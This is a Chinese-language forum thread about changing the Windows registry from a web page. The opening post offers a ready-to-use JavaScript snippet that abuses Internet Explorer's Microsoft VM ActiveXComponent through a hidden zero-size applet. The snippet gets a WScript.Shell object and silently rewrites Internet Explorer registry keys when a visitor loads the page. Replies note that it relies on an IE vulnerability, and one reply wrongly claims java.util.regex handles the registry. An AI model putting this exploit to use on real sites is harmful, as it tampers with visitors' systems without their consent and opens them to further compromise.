簡單,用JavaScript就可以了!
研究以下代碼看看!--------------------------------------------------------------------
<SCRIPT Language="JavaScript" type="text/javascript">
<!--document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function f(){
 var Tit
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com");    //寫鍵值
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "歡迎光臨 http://www.fujikon.com");    //寫鍵值Tit = Shl.RegRead("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title");    //讀鍵值
document.write(Tit);var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();// -->
</SCRIPT>  
------------------------------------------------------------ 

解决方案 »

  1.   

    com.ms.activeX.ActiveXComponent从何而来
      

  2.   

    不用理會com.ms.activeX.ActiveXComponent,好象是IE自帶的!
    我在LAN下測試過,沒問題,不過是在IE5下,IE6不知道行不行,你可以測試一下!
      

  3.   

    JavaScript又不是Java,在Java里内能用jni,反正注册表是只有windows才有的,用jni不会影响移植性的。
      

  4.   

    bj100(火火火)使用的是wsh,也就是windows脚本宿主,脚本宿主低版本的情况下,确实可以实现这个功能,但是高版本就不行了,总感觉这种办法是利用了ie的漏洞,如果升级了ie或者操作系统打了补丁,这些代码就是垃圾!
    建议采用jni,如果需要在Applet中实现,还需要签名!
      

  5.   

    java1.4中的java.util.regex 支持读写注册表
    具体见:
    http://www-900.ibm.com/developerWorks/java/j-merlin/index6.shtml
      

  6.   

    <APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
    是微软vm的class,呵呵,微软的Java。
    不是楼上哥们说的WindowHostScript,的确,用WHS实现比较简单,在html中用的话受到IE版本影响(漏洞)及安全级别影响,如果写成.vbs等就可以直接运行了。
    建议用 java1.4的class。或者参考j++如何调用C的一个例子(倒霉,新版本的msdn都没有j++的内容了)。
      

  7.   

    java.util.regex 支持读写注册表??????
    这是规则表达式啊,大牛人.....